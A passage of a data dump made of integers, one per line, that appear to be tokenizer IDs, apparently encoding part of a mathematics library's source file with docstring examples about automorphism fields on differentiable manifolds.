2056,
321,
29963,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
4706,
269,
482,
29901,
263,
29961,
29872,
29965,
29892,
17531,
353,
5519,
29896,
29892,
29916,
1402,
518,
29900,
29892,
29906,
5262,
13,
13,
1678,
739,
338,
7126,
304,
1209,
278,
7117,
1550,
16184,
421,
29874,
29952,
1057,
13,
13,
4706,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
3319,
29872,
29965,
29901,
5519,
29896,
29892,
29916,
1402,
518,
29900,
29892,
29906,
5262,
1118,
1024,
2433,
29874,
1495,
13,
13,
1678,
1334,
769,
731,
278,
7117,
411,
3390,
304,
278,
14821,
3515,
13,
1678,
373,
421,
29963,
29952,
491,
23771,
278,
12241,
310,
278,
7117,
297,
278,
13,
1678,
6590,
1014,
2557,
373,
421,
29956,
353,
501,
320,
5030,
478,
29952,
1057,
13,
13,
4706,
269,
482,
29901,
399,
353,
501,
29889,
1639,
2042,
29898,
29963,
29897,
13,
4706,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29963,
29892,
399,
29892,
274,
29918,
4090,
29897,
13,
13,
1678,
2180,
445,
7408,
29892,
278,
3345,
28611,
1746,
421,
29874,
29952,
338,
8072,
3342,
1057,
13,
13,
4706,
269,
482,
29901,
263,
29889,
4990,
29898,
29872,
29965,
29897,
13,
4706,
263,
353,
270,
29914,
8235,
29930,
8235,
718,
921,
270,
29914,
8235,
29930,
4518,
718,
29871,
29906,
270,
29914,
4518,
29930,
4518,
13,
4706,
269,
482,
29901,
263,
29889,
4990,
29898,
29872,
29963,
29897,
13,
4706,
263,
353,
313,
29896,
29914,
29946,
29930,
29884,
718,
29871,
29896,
29914,
29946,
29930,
29894,
718,
29871,
29941,
29914,
29906,
29897,
270,
29914,
700,
29930,
700,
718,
8521,
29896,
29914,
29946,
29930,
29884,
448,
29871,
29896,
29914,
29946,
29930,
29894,
448,
29871,
29896,
29914,
29906,
29897,
270,
29914,
700,
29930,
29881,
29894,
13,
308,
718,
313,
29896,
29914,
29946,
29930,
29884,
718,
29871,
29896,
29914,
29946,
29930,
29894,
448,
29871,
29896,
29914,
29906,
29897,
270,
29914,
29881,
29894,
29930,
700,
718,
8521,
29896,
29914,
29946,
29930,
29884,
448,
29871,
29896,
29914,
29946,
29930,
29894,
718,
29871,
29941,
29914,
29906,
29897,
270,
29914,
29881,
29894,
29930,
29881,
29894,
13,
13,
1678,
512,
3153,
29892,
591,
1122,
2244,
363,
967,
16402,
373,
278,
3353,
25941,
421,
29924,
29952,
1057,
13,
13,
4706,
269,
482,
29901,
29871,
423,
353,
263,
29889,
262,
3901,
580,
2056,
29871,
423,
13,
4706,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
29985,
6278,
29896,
29897,
373,
278,
29871,
29906,
29899,
12531,
13,
308,
17473,
519,
25941,
341,
13,
4706,
269,
482,
29901,
29871,
423,
29889,
4990,
29898,
29872,
29965,
29897,
13,
4706,
263,
29985,
6278,
29896,
29897,
353,
270,
29914,
8235,
29930,
8235,
448,
29871,
29896,
29914,
29906,
29930,
29916,
270,
29914,
8235,
29930,
4518,
718,
29871,
29896,
29914,
29906,
270,
29914,
4518,
29930,
4518,
13,
4706,
269,
482,
29901,
29871,
423,
29889,
4990,
29898,
29872,
29963,
29897,
13,
4706,
263,
29985,
6278,
29896,
29897,
353,
8521,
29896,
29914,
29947,
29930,
29884,
448,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29941,
29914,
29946,
29897,
270,
29914,
700,
29930,
700,
718,
313,
29896,
29914,
29947,
29930,
29884,
718,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29896,
29914,
29946,
29897,
270,
29914,
700,
29930,
29881,
29894,
13,
308,
718,
8521,
29896,
29914,
29947,
29930,
29884,
448,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29896,
29914,
29946,
29897,
270,
29914,
29881,
29894,
29930,
700,
718,
313,
29896,
29914,
29947,
29930,
29884,
718,
29871,
29896,
29914,
29947,
29930,
29894,
718,
29871,
29941,
29914,
29946,
29897,
270,
29914,
29881,
29894,
29930,
29881,
29894,
13,
13,
1678,
11243,
2561,
2705,
29892,
697,
508,
671,
278,
3081,
26134,
697,
304,
679,
278,
16402,
1057,
13,
13,
4706,
269,
482,
29901,
29871,
423,
338,
263,
29985,
6278,
29896,
29897,
13,
4706,
5852,
13,
13,
1678,
470,
278,
5455,
4954,
30022,
16159,
1057,
13,
13,
4706,
269,
482,
29901,
29871,
423,
338,
3695,
29874,
13,
4706,
5852,
13,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4608,
29918,
2671,
29918,
5453,
29892,
1024,
29922,
8516,
29892,
5683,
29916,
29918,
978,
29922,
8516,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
1281,
4984,
263,
1746,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
373,
263,
13,
4706,
1661,
29899,
23482,
13902,
25941,
29889,
13,
13,
4706,
17067,
1254,
29903,
29901,
13,
13,
4706,
5798,
4080,
3025,
4954,
3560,
29889,
5029,
29918,
1990,
29952,
1673,
322,
451,
3025,
263,
1513,
1246,
13,
4706,
304,
4954,
6147,
14143,
3073,
29952,
1673,
304,
6216,
411,
278,
7663,
6890,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
2056,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
341,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
2056,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
13,
9651,
269,
482,
29901,
1301,
29888,
353,
274,
29918,
3594,
29889,
20543,
29918,
1958,
29898,
29883,
29918,
4090,
29892,
313,
29916,
29974,
29891,
29892,
921,
29899,
29891,
511,
17686,
29918,
978,
2433,
29956,
742,
13,
9651,
13035,
29901,
462,
795,
25091,
29896,
29922,
921,
29958,
29900,
29892,
25091,
29906,
29922,
318,
29974,
29894,
29958,
29900,
29897,
13,
9651,
269,
482,
29901,
2437,
353,
1301,
29888,
29889,
262,
3901,
580,
13,
9651,
269,
482,
29901,
1060,
29924,
353,
341,
29889,
8111,
29918,
2671,
29918,
5453,
580,
13,
9651,
269,
482,
29901,
12729,
353,
1060,
29924,
29889,
17492,
29918,
10660,
29918,
2972,
580,
13,
9651,
269,
482,
29901,
263,
353,
12729,
29889,
5029,
29918,
1990,
29898,
29990,
29924,
29892,
1024,
2433,
29874,
2157,
263,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
263,
29961,
29883,
29918,
3594,
29889,
2557,
3285,
584,
29962,
353,
5519,
29896,
29974,
29916,
29985,
29906,
29892,
29871,
29900,
1402,
518,
29900,
29892,
29871,
29896,
29974,
29891,
29985,
29906,
5262,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29883,
29918,
4090,
29889,
2557,
3285,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
4321,
5091,
568,
29898,
29874,
467,
3389,
29898,
11014,
2433,
29918,
1688,
29918,
23945,
1847,
1495,
13,
13,
4706,
5798,
4080,
310,
278,
10110,
1746,
1057,
13,
13,
9651,
269,
482,
29901,
289,
353,
12729,
29889,
650,
890,
289,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
10110,
11053,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
4321,
5091,
568,
29898,
29890,
467,
3389,
29898,
11014,
2433,
29918,
1688,
29918,
23945,
1847,
1495,
13,
13,
4706,
5798,
4080,
411,
4954,
29928,
8349,
7268,
519,
2517,
361,
1025,
29889,
1300,
14143,
29918,
2671,
16159,
1057,
13,
13,
9651,
269,
482,
29901,
263,
29896,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
2157,
263,
29896,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
1134,
29898,
29874,
29896,
29897,
1275,
1134,
29898,
29874,
29897,
13,
9651,
5852,
13,
13,
4706,
6317,
14402,
1057,
13,
13,
9651,
24778,
4954,
29918,
1688,
29918,
23945,
1847,
16159,
313,
262,
278,
2428,
1990,
584,
1990,
18078,
29911,
6073,
3073,
12913,
13,
13,
4706,
9995,
13,
4706,
323,
6073,
3073,
17255,
2344,
12035,
1311,
29892,
4608,
29918,
2671,
29918,
5453,
29892,
313,
29896,
29892,
29896,
511,
1024,
29922,
978,
29892,
13,
462,
632,
5683,
29916,
29918,
978,
29922,
25694,
29918,
978,
29892,
13,
462,
632,
3847,
29922,
8111,
29918,
2671,
29918,
5453,
29889,
17492,
29918,
10660,
29918,
2972,
3101,
13,
4706,
1583,
3032,
275,
29918,
22350,
353,
7700,
396,
263,
3691,
4170,
13,
4706,
1583,
3032,
2344,
29918,
672,
2347,
580,
396,
17865,
310,
10723,
26855,
13,
13,
1678,
822,
903,
276,
558,
23538,
1311,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
7106,
263,
1347,
8954,
310,
4954,
1311,
29952,
1412,
13,
13,
4706,
17067,
1254,
29903,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
3032,
276,
558,
29918,
580,
13,
9651,
525,
3073,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
29915,
13,
9651,
269,
482,
29901,
2062,
29898,
29874,
29897,
29871,
396,
26377,
437,
312,
342,
13,
9651,
525,
3073,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
29915,
13,
9651,
269,
482,
29901,
263,
29871,
396,
26377,
437,
312,
342,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
13,
4706,
9995,
13,
4706,
6139,
353,
376,
3073,
310,
18806,
296,
29899,
3493,
376,
13,
4706,
565,
1583,
3032,
275,
29918,
22350,
29901,
13,
9651,
6139,
4619,
376,
22350,
11053,
376,
13,
4706,
1683,
29901,
13,
9651,
6139,
4619,
376,
1300,
7886,
12903,
376,
13,
9651,
565,
1583,
3032,
978,
338,
451,
6213,
29901,
13,
18884,
6139,
4619,
1583,
3032,
978,
718,
376,
376,
13,
4706,
736,
1583,
3032,
8394,
29918,
276,
558,
29898,
8216,
29897,
13,
13,
1678,
822,
903,
2344,
29918,
672,
2347,
29898,
1311,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
25455,
278,
10723,
26855,
29889,
13,
13,
4706,
17067,
1254,
29903,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
3032,
2344,
29918,
672,
2347,
580,
13,
13,
4706,
9995,
13,
4706,
323,
6073,
3073,
3032,
2344,
29918,
672,
2347,
29898,
1311,
29897,
13,
4706,
1583,
3032,
262,
3901,
353,
6213,
29871,
396,
16402,
451,
731,
3447,
13,
13,
1678,
822,
903,
6144,
29918,
672,
2347,
29898,
1311,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
21267,
278,
10723,
26855,
29889,
13,
13,
4706,
17067,
1254,
29903,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
3032,
6144,
29918,
672,
2347,
580,
13,
13,
4706,
9995,
13,
4706,
396,
3824,
5217,
278,
10723,
26855,
639,
2408,
292,
304,
278,
5637,
770,
29901,
13,
4706,
323,
6073,
3073,
3032,
6144,
29918,
672,
2347,
29898,
1311,
29897,
13,
4706,
396,
769,
7374,
267,
278,
16402,
3345,
28611,
29901,
13,
4706,
1583,
3032,
262,
3901,
353,
6213,
13,
13,
1678,
822,
731,
29918,
2388,
29898,
1311,
29892,
8405,
29922,
8516,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
7106,
278,
7117,
310,
4954,
1311,
16159,
281,
29889,
29878,
29889,
29873,
29889,
263,
2183,
3883,
8405,
363,
13,
4706,
12827,
29889,
13,
13,
4706,
450,
7117,
411,
3390,
304,
916,
22561,
526,
11132,
29892,
297,
1797,
304,
13,
4706,
4772,
738,
22435,
391,
3819,
29889,
1763,
3013,
963,
29892,
671,
278,
1158,
584,
29885,
621,
18078,
1202,
29918,
2388,
29952,
13,
4706,
2012,
29889,
13,
13,
4706,
2672,
12336,
29901,
13,
13,
4706,
448,
4954,
6500,
275,
16159,
1192,
313,
4381,
29901,
4954,
8516,
29952,
6348,
8405,
297,
607,
278,
7117,
526,
13,
3986,
3342,
29936,
565,
5642,
338,
4944,
29892,
278,
7117,
526,
12023,
304,
2737,
304,
13,
3986,
278,
3883,
29915,
29879,
2322,
8405,
13,
13,
4706,
19474,
12336,
29901,
13,
13,
4706,
448,
7117,
297,
278,
2183,
8405,
29892,
408,
385,
2777,
310,
278,
13,
3986,
770,
584,
1990,
18078,
30022,
29879,
482,
29889,
20158,
29889,
7576,
29889,
2388,
29889,
25503,
21966,
565,
1316,
13,
3986,
7117,
1258,
451,
1863,
9251,
29892,
896,
526,
2825,
29889,
13,
13,
4706,
8528,
19297,
17101,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
396,
278,
29871,
29906,
29899,
12531,
20745,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
396,
19595,
310,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
396,
19595,
310,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
317,
29985,
29906,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
321,
29918,
4090,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
263,
29922,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
842,
29918,
2388,
29898,
29872,
29918,
4090,
29897,
13,
632,
29906,
29899,
513,
1575,
7117,
281,
29889,
29878,
29889,
29873,
29889,
3189,
16065,
3515,
313,
29963,
29892,
313,
29881,
29914,
700,
29892,
29881,
29914,
29881,
29894,
876,
13,
9651,
269,
482,
29901,
263,
29889,
842,
29918,
2388,
29898,
29872,
29918,
4090,
9601,
29900,
29892,
29900,
29962,
353,
318,
29974,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
842,
29918,
2388,
29898,
29872,
29918,
4090,
9601,
29896,
29892,
29896,
29962,
353,
318,
29974,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
4990,
29898,
29872,
29918,
4090,
29897,
13,
9651,
263,
353,
313,
29884,
718,
325,
29897,
270,
29914,
700,
29930,
700,
718,
313,
29884,
718,
325,
29897,
270,
29914,
29881,
29894,
29930,
29881,
29894,
13,
13,
4706,
21605,
278,
7117,
297,
263,
716,
3515,
1057,
13,
13,
9651,
269,
482,
29901,
321,
353,
478,
29889,
8111,
29918,
2557,
877,
29872,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
842,
29918,
2388,
29898,
29872,
29897,
13,
632,
29906,
29899,
513,
1575,
7117,
281,
29889,
29878,
29889,
29873,
29889,
16510,
3515,
313,
29963,
29892,
313,
29872,
29918,
29900,
29892,
29872,
29918,
29896,
876,
13,
9651,
269,
482,
29901,
263,
29889,
842,
29918,
2388,
29898,
29872,
9601,
29900,
29892,
29896,
29962,
353,
318,
29930,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
842,
29918,
2388,
29898,
29872,
9601,
29896,
29892,
29900,
29962,
353,
318,
29930,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
4990,
29898,
29872,
29897,
13,
9651,
263,
353,
318,
29930,
29894,
321,
29918,
29900,
29930,
29872,
29985,
29896,
718,
318,
29930,
29894,
321,
29918,
29896,
29930,
29872,
29985,
29900,
13,
13,
4706,
4001,
278,
16608,
4954,
29872,
16159,
322,
4954,
29872,
29918,
4090,
16159,
526,
3342,
373,
278,
1021,
5354,
29892,
278,
13,
4706,
7117,
281,
29889,
29878,
29889,
29873,
29889,
4954,
29872,
29918,
4090,
16159,
505,
1063,
604,
1463,
1057,
13,
13,
9651,
269,
482,
29901,
263,
29889,
4990,
29898,
29883,
29918,
4090,
29889,
2557,
3101,
13,
9651,
29243,
313,
3242,
7786,
1246,
1833,
1125,
13,
9651,
2023,
13,
9651,
7865,
2392,
29901,
694,
8405,
1033,
367,
1476,
363,
20602,
278,
7117,
13,
632,
297,
278,
3189,
16065,
3515,
313,
29963,
29892,
313,
29881,
29914,
700,
29892,
29881,
29914,
29881,
29894,
876,
13,
13,
4706,
4001,
278,
10110,
2910,
338,
263,
4266,
1543,
29892,
967,
7117,
2609,
367,
13,
4706,
3939,
1057,
13,
13,
9651,
269,
482,
29901,
1178,
353,
341,
29889,
29873,
574,
296,
29918,
22350,
29918,
2671,
580,
13,
9651,
269,
482,
29901,
1178,
29889,
1202,
29918,
2388,
29898,
29872,
9601,
29900,
29892,
29896,
29962,
353,
318,
29930,
29894,
13,
9651,
29243,
313,
3242,
7786,
1246,
1833,
1125,
13,
9651,
2023,
13,
9651,
16499,
291,
2392,
29901,
278,
7117,
310,
278,
10110,
2910,
2609,
367,
3939,
13,
13,
4706,
9995,
13,
4706,
565,
1583,
3032,
275,
29918,
22350,
29901,
13,
9651,
12020,
16499,
291,
2392,
703,
1552,
7117,
310,
278,
10110,
2910,
2609,
367,
376,
13,
462,
462,
376,
15033,
1159,
13,
4706,
736,
323,
6073,
3073,
3032,
842,
29918,
2388,
29918,
348,
11177,
29898,
1311,
29892,
8405,
29922,
6500,
275,
29897,
13,
13,
1678,
822,
788,
29918,
2388,
29898,
1311,
29892,
8405,
29922,
8516,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
7106,
278,
7117,
310,
4954,
1311,
16159,
281,
29889,
29878,
29889,
29873,
29889,
263,
2183,
3883,
8405,
363,
13,
4706,
12827,
29892,
12515,
278,
7117,
281,
29889,
29878,
29889,
29873,
29889,
916,
22561,
29889,
13,
13,
4706,
1763,
5217,
278,
7117,
281,
29889,
29878,
29889,
29873,
29889,
916,
22561,
29892,
671,
278,
1158,
13,
4706,
584,
29885,
621,
18078,
842,
29918,
2388,
29952,
2012,
29889,
13,
13,
4706,
2672,
12336,
29901,
13,
13,
4706,
448,
4954,
6500,
275,
16159,
1192,
313,
4381,
29901,
4954,
8516,
29952,
6348,
8405,
297,
607,
278,
7117,
526,
13,
3986,
3342,
29936,
565,
5642,
338,
4944,
29892,
278,
7117,
526,
12023,
304,
2737,
304,
13,
3986,
278,
3883,
29915,
29879,
2322,
8405,
13,
13,
4706,
6317,
399,
25614,
1057,
13,
13,
9651,
960,
278,
3345,
28611,
1746,
756,
2307,
7117,
297,
916,
22561,
29892,
372,
13,
9651,
338,
278,
1404,
29915,
29879,
23134,
304,
1207,
1854,
393,
278,
7117,
13,
9651,
304,
367,
2715,
526,
13747,
411,
963,
29889,
13,
13,
4706,
19474,
12336,
29901,
13,
13,
4706,
448,
7117,
297,
278,
2183,
8405,
29892,
408,
385,
2777,
310,
278,
13,
3986,
770,
584,
1990,
18078,
30022,
29879,
482,
29889,
20158,
29889,
7576,
29889,
2388,
29889,
25503,
21966,
13,
3986,
565,
1316,
7117,
1258,
451,
1863,
9251,
29892,
896,
526,
2825,
13,
13,
4706,
8528,
19297,
17101,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
396,
278,
29871,
29906,
29899,
12531,
20745,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
396,
19595,
310,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
396,
19595,
310,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
317,
29985,
29906,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
321,
29918,
4090,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
263,
29922,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29898,
29872,
29918,
4090,
29897,
13,
632,
29906,
29899,
513,
1575,
7117,
281,
29889,
29878,
29889,
29873,
29889,
3189,
16065,
3515,
313,
29963,
29892,
313,
29881,
29914,
700,
29892,
29881,
29914,
29881,
29894,
876,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29898,
29872,
29918,
4090,
9601,
29900,
29892,
29900,
29962,
353,
318,
29974,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29898,
29872,
29918,
4090,
9601,
29896,
29892,
29896,
29962,
353,
318,
29974,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
4990,
29898,
29872,
29918,
4090,
29897,
13,
9651,
263,
353,
313,
29884,
718,
325,
29897,
270,
29914,
700,
29930,
700,
718,
313,
29884,
718,
325,
29897,
270,
29914,
29881,
29894,
29930,
29881,
29894,
13,
13,
4706,
21605,
278,
7117,
297,
263,
716,
3515,
1057,
13,
13,
9651,
269,
482,
29901,
321,
353,
478,
29889,
8111,
29918,
2557,
877,
29872,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29898,
29872,
29897,
13,
632,
29906,
29899,
513,
1575,
7117,
281,
29889,
29878,
29889,
29873,
29889,
16510,
3515,
313,
29963,
29892,
313,
29872,
29918,
29900,
29892,
29872,
29918,
29896,
876,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29898,
29872,
9601,
29900,
29892,
29896,
29962,
353,
318,
29930,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29898,
29872,
9601,
29896,
29892,
29900,
29962,
353,
318,
29930,
29894,
13,
9651,
269,
482,
29901,
263,
29889,
4990,
29898,
29872,
29897,
13,
9651,
263,
353,
318,
29930,
29894,
321,
29918,
29900,
29930,
29872,
29985,
29896,
718,
318,
29930,
29894,
321,
29918,
29896,
29930,
29872,
29985,
29900,
13,
13,
4706,
450,
7117,
411,
3390,
304,
4954,
29872,
29918,
4090,
16159,
526,
8126,
1057,
13,
13,
9651,
269,
482,
29901,
263,
29889,
4990,
29898,
29872,
29918,
4090,
29897,
13,
9651,
263,
353,
313,
29884,
718,
325,
29897,
270,
29914,
700,
29930,
700,
718,
313,
29884,
718,
325,
29897,
270,
29914,
29881,
29894,
29930,
29881,
29894,
13,
13,
4706,
4001,
278,
10110,
2910,
338,
263,
4266,
1543,
29892,
967,
7117,
2609,
367,
13,
4706,
3939,
1057,
13,
13,
9651,
269,
482,
29901,
1178,
353,
341,
29889,
29873,
574,
296,
29918,
22350,
29918,
2671,
580,
13,
9651,
269,
482,
29901,
1178,
29889,
1202,
29918,
2388,
29898,
29872,
9601,
29900,
29892,
29896,
29962,
353,
318,
29930,
29894,
13,
9651,
29243,
313,
3242,
7786,
1246,
1833,
1125,
13,
9651,
2023,
13,
9651,
16499,
291,
2392,
29901,
278,
7117,
310,
278,
10110,
2910,
2609,
367,
3939,
13,
13,
4706,
9995,
13,
4706,
565,
1583,
3032,
275,
29918,
22350,
29901,
13,
9651,
12020,
16499,
291,
2392,
703,
1552,
7117,
310,
278,
10110,
2910,
2609,
367,
376,
13,
462,
462,
376,
15033,
1159,
13,
4706,
736,
323,
6073,
3073,
3032,
1202,
29918,
2388,
29918,
348,
11177,
29898,
1311,
29892,
8405,
29922,
6500,
275,
29897,
13,
13,
1678,
822,
903,
1482,
29918,
8758,
29898,
1311,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
6204,
385,
2777,
310,
278,
1021,
770,
408,
4954,
1311,
16159,
373,
278,
1021,
13,
4706,
4608,
1746,
3883,
29889,
13,
13,
4706,
17067,
1254,
29903,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29945,
29892,
525,
29924,
1495,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
3032,
1482,
29918,
8758,
580,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
373,
278,
29871,
29945,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
263,
3032,
1482,
29918,
8758,
2141,
3560,
580,
338,
263,
29889,
3560,
580,
13,
9651,
5852,
13,
13,
4706,
9995,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
3032,
29894,
5453,
29897,
13,
13,
1678,
822,
4770,
4804,
12035,
1311,
29892,
334,
1191,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
4367,
1389,
3475,
310,
13,
4706,
584,
29885,
621,
18078,
30022,
29879,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
20158,
2671,
29889,
29911,
6073,
3073,
17255,
4804,
1649,
29952,
13,
4706,
304,
2758,
363,
263,
1571,
14502,
310,
278,
10110,
2910,
322,
310,
278,
1246,
13,
4706,
411,
263,
2323,
2980,
13,
13,
4706,
17067,
1254,
29903,
29901,
13,
13,
4706,
8989,
310,
10110,
11053,
373,
278,
29871,
29906,
29899,
29879,
9085,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
396,
278,
29871,
29906,
29899,
12531,
20745,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
396,
19595,
310,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
396,
19595,
310,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
317,
29985,
29906,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
921,
29891,
29918,
517,
29918,
4090,
353,
274,
29918,
3594,
29889,
20543,
29918,
1958,
29898,
29883,
29918,
4090,
29892,
313,
29916,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
511,
343,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
8243,
13,
9651,
13035,
29901,
462,
18884,
17686,
29918,
978,
2433,
29956,
742,
25091,
29896,
29922,
921,
29985,
29906,
29974,
29891,
29985,
29906,
19216,
29900,
29892,
13,
9651,
13035,
29901,
462,
18884,
25091,
29906,
29922,
318,
29985,
